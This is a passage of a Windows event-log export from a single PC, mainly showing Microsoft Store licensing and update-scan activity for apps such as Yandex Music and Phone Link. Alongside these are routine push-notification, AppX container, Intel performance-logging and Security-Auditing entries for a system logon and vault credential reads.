Lease:Initial\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.760\t8012\t0x21f8312b620: 13728: Lease:Initial Change: Lease:Valid => {1173A7B1-89F2-09CC-0563-CDED7D7397B9}\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.760\t8001\t\"No cached lease or key found, not renewing with service and treating this as a valid license with lease = 0x83178a28\nFunction: KeyMachine::NegotiatingUnleased::LicenseDone\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\keymachine.cpp (2032)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.760\t8012\t0x21f831d39d0: 13732: Key:NegotiatingUnleased Change: Key:Valid => 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.760\t8001\t\"Decoding: {\"\"legacyProductId\"\":\"\"b7757af6-9e6d-4d21-8272-c9137a2e9145\"\"}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.760\t8011\t0x21f831d39d0: 13732: 80DAF1F6-7AFC-6D23-2C3C-F1E0A663029A: Dispatch: Key:RegisterCallback => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.760\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"2be1da80-9d39-1a56-8b4b-dca10f958cc2\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msaonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa844426170627778&contentId=80daf1f6-7afc-6d23-2c3c-f1e0a663029a&entitlementId=2be1da80-9d39-1a56-8b4b-dca10f958cc2&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"de7849ea-b8e4-60d1-c780-7b0969a99e76\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"80daf1f6-7afc-6d23-2c3c-f1e0a663029a\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NBLGGH0CB6D\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-09-04T15:27:12.2174791+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.760\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"2be1da80-9d39-1a56-8b4b-dca10f958cc2\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msaonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa844426170627778&contentId=80daf1f6-7afc-6d23-2c3c-f1e0a663029a&entitlementId=2be1da80-9d39-1a56-8b4b-dca10f958cc2&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"de7849ea-b8e4-60d1-c780-7b0969a99e76\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"80daf1f6-7afc-6d23-2c3c-f1e0a663029a\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NBLGGH0CB6D\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-09-04T15:27:12.2174791+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.760\t8001\t\"ReactiveLicensingResult: 0x00000000 for A025C540.Yandex.Music_4.54.8517.0_x64__vfvw9svesycw6, 32ms\nFunction: LogReactiveLicensingResult\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\telemetry.cpp (512)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.760\t8001\t\"Updating lease timer for {1173A7B1-89F2-09CC-0563-CDED7D7397B9} to expire @ 2026-09-05T01:51:27Z (jitter was 21.295341 minutes)\nFunction: LeaseMachine::DoUpdateLeaseTimer\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\leasemachine.cpp (276)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.760\t8001\t\"Added timer for {1173A7B1-89F2-09CC-0563-CDED7D7397B9}\nFunction: MemoryTimerService::CreateTimerWithId\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\memorytimer.cpp (57)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.760\t8011\t0x21f8312b620: 13728: {1173A7B1-89F2-09CC-0563-CDED7D7397B9}: Dispatch: Lease:AddKey => Lease:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.763\t505\t\"Compatibility fix applied to C:\\WINDOWS\\system32\\backgroundTaskHost.exe.\nFix information: Microsoft Apps, {81ecdb97-5112-41af-9a59-5ba9444f4270}, 0x80010101.\"\tInformation\tMicrosoft-Windows-Application-Experience/Program-Telemetry\tMicrosoft-Windows-Application-Experience\n05.09.2026 08:30:09.776\t505\t\"Compatibility fix applied to C:\\WINDOWS\\system32\\backgroundTaskHost.exe.\nFix information: \u042f\u043d\u0434\u0435\u043a\u0441.\u041c\u0443\u0437\u0438\u043a\u0430, {071f875e-406c-4938-beaa-65f69cc573e2}, 0x80010101.\"\tInformation\tMicrosoft-Windows-Application-Experience/Program-Telemetry\tMicrosoft-Windows-Application-Experience\n05.09.2026 08:30:09.785\t1239\tWNP Keep Alive Detector starting KA measurement with value: 1680 seconds; type: Converged; Min Limit: 60 seconds\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:09.789\t210\tCreated Desktop AppX container {245CDBFE-A8C9-11F1-B7FF-289200F24A99} for package MSTeams_26093.415.4620.1935_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:30:09.789\t211\tAdded process 15228 to Desktop AppX container 245cdbfe-a8c9-11f1-b7ff-289200f24a99 for package MSTeams_26093.415.4620.1935_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:30:09.800\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:09.801\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:09.801\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:30:09.803\t505\t\"Compatibility fix applied to C:\\WINDOWS\\system32\\backgroundTaskHost.exe.\nFix information: Microsoft Apps, {81ecdb97-5112-41af-9a59-5ba9444f4270}, 0x80010101.\"\tInformation\tMicrosoft-Windows-Application-Experience/Program-Telemetry\tMicrosoft-Windows-Application-Experience\n05.09.2026 08:30:09.838\t505\t\"Compatibility fix applied to C:\\WINDOWS\\system32\\backgroundTaskHost.exe.\nFix information: Microsoft Apps, {81ecdb97-5112-41af-9a59-5ba9444f4270}, 0x80010101.\"\tInformation\tMicrosoft-Windows-Application-Experience/Program-Telemetry\tMicrosoft-Windows-Application-Experience\n05.09.2026 08:30:09.939\t2002\t\"Windows::Services::Store::StoreContextFactory::GetDefault() invoked. (CV:exbuXxFHwECWL3f3.4)\nError: Unknown HResult Error code: 0xefffffff\nFunction: Windows::Services::Store::StoreContextFactory::GetDefault\nSource: onecoreuap\\enduser\\winstore\\licensing\\winrt\\lib\\storecontext.cpp (63)\"\tInformation\tMicrosoft-Windows-Store/Operational\tWindows-ApplicationModel-Store-SDK\n05.09.2026 08:30:09.949\t8011\t0x21f83178e90: 13668: EEE53744-2BB9-BCA2-A50A-C6A1C5B0A0ED: Dispatch: Key:Connect => Key:Valid\tVerbose\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.949\t8001\t\"Decoding: {\"\"legacyProductId\"\":\"\"6ead4a77-d076-4866-9188-621a5b1f414f\"\"}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.949\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"200dc622-8cbd-e337-4d4b-69d2fa6e7df7\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966575679381420&contentId=eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed&entitlementId=200dc622-8cbd-e337-4d4b-69d2fa6e7df7&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"0f8e2cd5-b8eb-7a22-b9e9-9b1183fa0a84\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NMPJ99VJBWV\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-08-04T14:54:13.8630559+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.949\t8001\t\"Decoding: {\"\"entitlementId\"\":\"\"200dc622-8cbd-e337-4d4b-69d2fa6e7df7\"\",\"\"entitlementSatisfaction\"\":\"\"Device\"\",\"\"isOffline\"\":true,\"\"leaseEnforcement\"\":\"\"None\"\",\"\"leaseUri\"\":\"\"https://licensing.md.mp.microsoft.com/v7.0/licenses/?beneficiaryId=msahwonecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cppa6966575679381420&contentId=eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed&entitlementId=200dc622-8cbd-e337-4d4b-69d2fa6e7df7&market=RU&policyType=Device\"\",\"\"keyIds\"\":[\"\"0f8e2cd5-b8eb-7a22-b9e9-9b1183fa0a84\"\"],\"\"kind\"\":\"\"Content\"\",\"\"packages\"\":[{\"\"packageIdentifier\"\":\"\"eee53744-2bb9-bca2-a50a-c6a1c5b0a0ed\"\",\"\"packageType\"\":\"\"msix\"\",\"\"productAddOns\"\":[],\"\"productId\"\":\"\"9NMPJ99VJBWV\"\",\"\"skuId\"\":\"\"0010\"\"}],\"\"pollAt\"\":\"\"2026-08-04T14:54:13.8630559+00:00\"\",\"\"refreshOnStartup\"\":false,\"\"version\"\":7}\nFunction: DecodeCustomPolicy\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\lib\\clipdocument.cpp (50)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:09.950\t2002\t\"StoreContextServer::Initialize: packageFullName = Microsoft.YourPhone_1.26071.164.0_x64__8wekyb3d8bbwe, productStoreId = 9NMPJ99VJBWV, isLicensed = true, isAppContainer = false\nError: Unknown HResult Error code: 0xefffffff\nFunction: Windows::Services::Store::Internal::StoreContextServer::_InitializeImpl\nSource: onecoreuap\\enduser\\winstore\\licensing\\winrt\\lib\\windows\\storecontextserver.cpp (1159)\"\tInformation\tMicrosoft-Windows-Store/Operational\tWindows-ApplicationModel-Store-SDK\n05.09.2026 08:30:09.950\t2002\t\"Windows::Services::Store::StoreContext::GetAppAndOptionalStorePackageUpdatesAsync invoked. (CV:exbuXxFHwECWL3f3.4.3)\nError: Unknown HResult Error code: 0xefffffff\nFunction: Windows::Services::Store::StoreContext::GetAppAndOptionalStorePackageUpdatesAsync\nSource: onecoreuap\\enduser\\winstore\\licensing\\winrt\\lib\\storecontext.cpp (1403)\"\tInformation\tMicrosoft-Windows-Store/Operational\tWindows-ApplicationModel-Store-SDK\n05.09.2026 08:30:09.952\t2002\t\"Adding calling package = Microsoft.YourPhone_8wekyb3d8bbwe for productId = 9NMPJ99VJBWV\nError: Unknown HResult Error code: 0xefffffff\nFunction: Windows::Services::Store::Internal::StoreContextServer::GetAppAndOptionalStorePackageUpdates\nSource: onecoreuap\\enduser\\winstore\\licensing\\winrt\\lib\\windows\\storecontextserver.cpp (3491)\"\tInformation\tMicrosoft-Windows-Store/Operational\tWindows-ApplicationModel-Store-SDK\n05.09.2026 08:30:09.987\t2006\t\"request: addAsPaused = true, clientID = PhoneExperienceHost, CV = exbuXxFHwECWL3f3.4.3.1.2\nError: Unknown HResult Error code: 0xefffffff\nFunction: Windows::ApplicationModel::Store::Preview::InstallControl::AppInstallManagerImpl::SearchForUpdatesWithPausedAddAsync\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\appinstallcontrol.cpp (4726)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:30:09.987\t2006\t\"Checking interactive for update for scan caller: PhoneExperienceHost-SearchForUpdatesWithPausedAddAsync\nError: Unknown HResult Error code: 0xefffffff\nFunction: Utils::IsCallerInteractive\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\utils.cpp (385)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:30:09.988\t2006\t\"Checking if top-level window is visible for PhoneExperienceHost-SearchForUpdatesWithPausedAddAsync, setting userInteractive = false\nError: Unknown HResult Error code: 0xefffffff\nFunction: Utils::IsCallerInteractive\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\utils.cpp (427)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:30:09.991\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:09.991\t2006\t\"Scan allowed inside interval for Microsoft.YourPhone_8wekyb3d8bbwe. Current last scan time cache: 2026-09-04T11:58:29+07:00;2026-09-04T12:02:46+07:00;2026-09-04T16:47:41+07:00;2026-09-05T08:29:25+07:00;2026-09-05T08:30:09+07:00\nError: Unknown HResult Error code: 0xefffffff\nFunction: OnlineScanAllowedInInterval\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\stringhelpers.cpp (479)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:30:09.993\t2006\t\"Last scan time calculated, setting online = 1\nError: Unknown HResult Error code: 0xefffffff\nFunction: GetIsOnlineScanAllowed\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\uwainstallworkbridge.cpp (2374)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:30:09.994\t2006\t\"[Telemetry]: BeginScanForUpdates :: _TlgCV_ = exbuXxFHwECWL3f3.4.3.1.2.0.1 \u00a0IsOnline = true \u00a0IsApplicability = false \u00a0ClientAppId = Update;PhoneExperienceHost-SearchForUpdatesWithPausedAddAsync \u00a0IsInteractive = false \u00a0\nError: Unknown HResult Error code: 0xefffffff\nFunction: LogTelemetryEvent\nSource: onecoreuap\\enduser\\winstore\\installservice\\svc\\logging.cpp (10)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:30:10.137\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:10.285\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:10.434\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:10.459\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:30:10.459\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:30:10.491\t1002\tError 0x80070005 occurred while verifying known folder {62ab5d82-fdc1-4dc3-a9dd-070d1d495d97} with path 'C:\\ProgramData'.\tWarning\tMicrosoft-Windows-Known Folders API Service\tMicrosoft-Windows-KnownFolders\n05.09.2026 08:30:10.600\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:10.756\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:10.913\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:11.058\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:11.113\t5382\t\"Vault credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nThis event occurs when a user reads a stored vault credential.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:30:11.130\t5382\t\"Vault credentials were read.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0x5F77B\n\nThis event occurs when a user reads a stored vault credential.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:30:11.197\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:11.333\t8001\t\"Skipping license manager: PFN Microsoft.DesktopAppInstaller_1.29.290.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:30:11.349\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:11.361\t210\tCreated Desktop AppX container {245CDC17-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.DesktopAppInstaller_1.29.290.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:30:11.361\t211\tAdded process 16560 to Desktop AppX container 245cdc17-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.DesktopAppInstaller_1.29.290.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:30:11.511\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:11.663\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:11.787\t217\tDestroyed Desktop AppX container {245CDBFE-A8C9-11F1-B7FF-289200F24A99} for package MSTeams_26093.415.4620.1935_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 08:30:11.817\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:11.957\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:12.103\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:12.249\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:12.498\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:12.636\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:12.782\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:30:12.858\t2006\t\"WU scan found 0 packages\nError: Unknown HResult Error code: 0xefffffff\nFunction: _PackagesFromSearchResult\nSource: onecoreuap\\enduser\\winstore\\installservice\\lib\\wuhelpers.cpp (157)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:30:12.858\t2006\t\"[Telemetry]: EndScanForUpdates :: _TlgCV_ = exbuXxFHwECWL3f3.4.3.1.2.0.1 \u00a0IsOnline = true \u00a0IsApplicability = false \u00a0IsInteractive = false \u00a0ClientAppId = Update;PhoneExperienceHost-SearchForUpdatesWithPausedAddAsync \u00a0NumberOfApplicableUpdates = 0 \u00a0AutoUpdateWorkScheduledWithUOTime =  \u00a0PFN = (null) \u00a0HResult = 0 \u00a0\nError: Unknown HResult Error code: 0xefffffff\nFunction: LogTelemetryEvent\nSource: onecoreuap\\enduser\\winstore\\installservice\\svc\\logging.cpp (10)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:30:12.858\t2006\t\"No updates found. CategoryIds Count = 1 \u00a0\nError: The operation completed successfully.\nFunction: ScanForMultipleUpdates\nSource: onecoreuap\\enduser\\winstore\\installservice\\libqueue2\\uwainstallworkbridge.cpp (2138)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Install-Agent\n05.09.2026 08:30:12.860\t2002\t\"Windows::Services::Store::StoreContext::get_CanSilentlyDownloadStorePackageUpdates() invoked. (CV:exbuXxFHwECWL3f3.4.5)\nError: Unknown HResult Error code: 0xefffffff\nFunction: Windows::Services::Store::StoreContext::get_CanSilentlyDownloadStorePackageUpdates\nSource: onecoreuap\\enduser\\winstore\\licensing\\winrt\\lib\\storecontext.cpp 